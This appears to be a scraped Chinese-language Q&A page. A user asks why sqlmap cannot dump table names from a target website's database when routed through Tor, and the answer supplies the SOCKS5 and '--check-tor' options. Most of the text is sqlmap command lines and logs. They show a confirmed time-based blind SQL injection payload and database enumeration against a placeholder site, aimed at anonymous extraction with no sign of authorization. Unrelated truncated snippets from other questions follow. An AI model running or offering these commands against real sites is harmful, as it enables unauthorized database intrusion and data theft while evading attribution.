- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
我正在使用 sqlmap 和 TOR 进行简单的测试,虽然不使用 TOR 的命令会检索表的所有名称,但当我添加选项 --tor --tor-port=9151 时,它会返回空名称或无法返回任何表格。
我使用的是 Python 2.7、sqlmap/1.0-dev 和 Windows Vista。
没有--tor --tor-port=9151:
C:\tools\sqlmapNew>\Python27\python.exe sqlmap.py -u <theWebsite>?vulnerablecode
=111 -D <aDatabase> --tables --threads 5 --random-agent
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:16:16
[18:16:16] [INFO] fetched random HTTP User-Agent header from file 'C:\tools\sqlm
apNew\txt\user-agents.txt': Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKi
t/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2
[18:16:17] [INFO] testing connection to the target URL
[18:16:18] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[18:16:20] [WARNING] target URL is not stable. sqlmap will base the page compari
son on a sequence matcher. If no dynamic nor injectable parameters are detected,
or in case of junk results, refer to user's manual paragraph 'Page comparison'
and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[18:16:21] [INFO] testing if GET parameter 'vulnerablecode' is dynamic
[18:16:22] [INFO] confirming that GET parameter 'vulnerablecode' is dynamic
[18:16:23] [WARNING] GET parameter 'vulnerablecode' does not appear dynamic
[18:16:24] [INFO] heuristics detected web page charset 'ISO-8859-2'
[18:16:24] [WARNING] heuristic (basic) test shows that GET parameter 'vulnerable
code' might not be injectable
[18:16:24] [INFO] testing for SQL injection on GET parameter 'vulnerablecode'
[18:16:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:16:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[18:16:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:16:37] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:16:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[18:16:45] [INFO] testing 'MySQL inline queries'
[18:16:46] [WARNING] reflective value(s) found and filtering out
[18:16:46] [INFO] testing 'PostgreSQL inline queries'
[18:16:47] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:16:48] [INFO] testing 'Oracle inline queries'
[18:16:48] [INFO] testing 'SQLite inline queries'
[18:16:49] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:16:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:16:57] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:17:01] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:17:23] [INFO] GET parameter 'vulnerablecode' seems to be 'MySQL > 5.0.11 AND
time-based blind' injectable
[18:17:23] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[18:17:23] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[18:17:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:17:53] [INFO] checking if the injection point on GET parameter 'vulnerablecod
e' is a false positive
GET parameter 'vulnerablecode' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N]
但是当我添加 --tor --tor-port=9151 选项时,没有发现漏洞:
C:\tools\sqlmapNew>\Python27\python.exe sqlmap.py -u <theWebsite>?vulnerableCode=
111 -D <theDatabase> --tables --threads 5 --random-agent --tor --tor-port=9151
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:23:30
[18:23:30] [WARNING] increasing default value for option '--time-sec' to 10 beca
use switch '--tor' was provided
[18:23:30] [INFO] setting Tor HTTP proxy settings
[18:23:30] [WARNING] use switch '--check-tor' at your own convenience when acces
sing Tor anonymizing network because of known issues with default settings of va
rious 'bundles' (e.g. Vidalia)
[18:23:30] [INFO] fetched random HTTP User-Agent header from file 'C:\tools\sqlm
apNew\txt\user-agents.txt': Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1
.9.1b2) Gecko/20081201 Firefox/3.1b2
[18:23:30] [INFO] resuming back-end DBMS 'mysql'
[18:23:30] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: vulnerableCode
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: vulnerableCode=111 AND SLEEP(10)
---
[18:23:30] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[18:23:30] [INFO] fetching tables for database: '<theDB>'
[18:23:30] [INFO] fetching number of tables for database '<theDB>'
[18:23:30] [WARNING] multi-threading is considered unsafe in time-based data ret
rieval. Going to switch it off automatically
[18:23:30] [WARNING] it's highly recommended to avoid usage of switch '--tor' fo
r time-based injections because of its high latency time
[18:23:30] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[18:23:31] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based payloads
[18:23:31] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[18:23:31] [WARNING] unable to retrieve the number of tables for database '<theDB>'
[18:23:31] [ERROR] unable to retrieve the table names for any database
do you want to use common table existence check? [y/N/q]
No tables found
[18:23:35] [INFO] fetched data logged to text files under 'C:\tools\sqlmapNew\ou
tput\<theWebsite>'
[*] shutting down at 18:23:35
当我在没有 --tor --tor-port=9151 的情况下指定数据库和表时,我会检索一些值:
[16:51:33] [INFO] fetching tables for database: '<theDb>'
[16:51:33] [INFO] fetching number of tables for database '<theDb>'
[16:51:33] [INFO] resumed: 101
[16:51:33] [INFO] retrieving the length of query output
[16:51:33] [INFO] retrieved:
[16:51:34] [INFO] heuristics detected web page charset 'ISO-8859-2'
[16:51:35] [WARNING] reflective value(s) found and filtering out
[16:51:49] [INFO] retrieved: 1!
[16:51:49] [INFO] retrieved: test
但没有使用 --tor --tor-port=9151 选项:
[16:51:11] [INFO] retrieved:
[16:51:11] [INFO] retrieved:
[16:51:11] [INFO] retrieved:
[16:51:11] [INFO] retrieving the length of query output
[16:51:12] [INFO] retrieved:
[16:51:12] [INFO] retrieved:
[16:51:12] [INFO] retrieved:
[16:51:12] [INFO] retrieving the length of query output
[16:51:12] [INFO] retrieved:
尝试通过 TOR 连接时我是否遗漏了某些内容?
提前谢谢您!
最佳答案
您必须写:
--tor --tor-port=9150 --tor-type=socks5 --check-tor
或者你可以直接写:
--proxy="socks5://localhost:9150" --check-tor
在使用 tor 进行基于时间检索时,还要确保为 --time-sec=15
设置较高的值。Tor 的默认端口是 9150,但如果您有 9151,则可以在值中使用它。
关于mysql - 使用 TOR 时 sqlmap 无法检索信息,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/21801233/
我在网上搜索但没有找到任何合适的文章解释如何使用 javascript 使用 WCF 服务,尤其是 WebScriptEndpoint。 任何人都可以对此给出任何指导吗? 谢谢 最佳答案 这是一篇关于
我正在编写一个将运行 Linux 命令的 C 程序,例如: cat/etc/passwd | grep 列表 |剪切-c 1-5 我没有任何结果 *这里 parent 等待第一个 child (chi
所以我正在尝试处理文件上传,然后将该文件作为二进制文件存储到数据库中。在我存储它之后,我尝试在给定的 URL 上提供文件。我似乎找不到适合这里的方法。我需要使用数据库,因为我使用 Google 应用引
我正在尝试制作一个宏,将下面的公式添加到单元格中,然后将其拖到整个列中并在 H 列中复制相同的公式 我想在 F 和 H 列中输入公式的数据 Range("F1").formula = "=IF(ISE
问题类似于this one ,但我想使用 OperatorPrecedenceParser 解析带有函数应用程序的表达式在 FParsec . 这是我的 AST: type Expression =
我想通过使用 sequelize 和 node.js 将这个查询更改为代码取决于在哪里 select COUNT(gender) as genderCount from customers where
我正在使用GNU bash,版本5.0.3(1)-发行版(x86_64-pc-linux-gnu),我想知道为什么简单的赋值语句会出现语法错误: #/bin/bash var1=/tmp
这里,为什么我的代码在 IE 中不起作用。我的代码适用于所有浏览器。没有问题。但是当我在 IE 上运行我的项目时,它发现错误。 而且我的 jquery 类和 insertadjacentHTMl 也不
我正在尝试更改标签的innerHTML。我无权访问该表单,因此无法编辑 HTML。标签具有的唯一标识符是“for”属性。 这是输入和标签的结构:
我有一个页面,我可以在其中返回用户帖子,可以使用一些 jquery 代码对这些帖子进行即时评论,在发布新评论后,我在帖子下插入新评论以及删除 按钮。问题是 Delete 按钮在新插入的元素上不起作用,
我有一个大约有 20 列的“管道分隔”文件。我只想使用 sha1sum 散列第一列,它是一个数字,如帐号,并按原样返回其余列。 使用 awk 或 sed 执行此操作的最佳方法是什么? Accounti
我需要将以下内容插入到我的表中...我的用户表有五列 id、用户名、密码、名称、条目。 (我还没有提交任何东西到条目中,我稍后会使用 php 来做)但由于某种原因我不断收到这个错误:#1054 - U
所以我试图有一个输入字段,我可以在其中输入任何字符,但然后将输入的值小写,删除任何非字母数字字符,留下“。”而不是空格。 例如,如果我输入: 地球的 70% 是水,-!*#$^^ & 30% 土地 输
我正在尝试做一些我认为非常简单的事情,但出于某种原因我没有得到想要的结果?我是 javascript 的新手,但对 java 有经验,所以我相信我没有使用某种正确的规则。 这是一个获取输入值、检查选择
我想使用 angularjs 从 mysql 数据库加载数据。 这就是应用程序的工作原理;用户登录,他们的用户名存储在 cookie 中。该用户名显示在主页上 我想获取这个值并通过 angularjs
我正在使用 autoLayout,我想在 UITableViewCell 上放置一个 UIlabel,它应该始终位于单元格的右侧和右侧的中心。 这就是我想要实现的目标 所以在这里你可以看到我正在谈论的
我需要与 MySql 等效的 elasticsearch 查询。我的 sql 查询: SELECT DISTINCT t.product_id AS id FROM tbl_sup_price t
我正在实现代码以使用 JSON。 func setup() { if let flickrURL = NSURL(string: "https://api.flickr.com/
我尝试使用for循环声明变量,然后测试cols和rols是否相同。如果是,它将运行递归函数。但是,我在 javascript 中执行 do 时遇到问题。有人可以帮忙吗? 现在,在比较 col.1 和
我举了一个我正在处理的问题的简短示例。 HTML代码: 1 2 3 CSS 代码: .BB a:hover{ color: #000; } .BB > li:after {
我是一名优秀的程序员,十分优秀!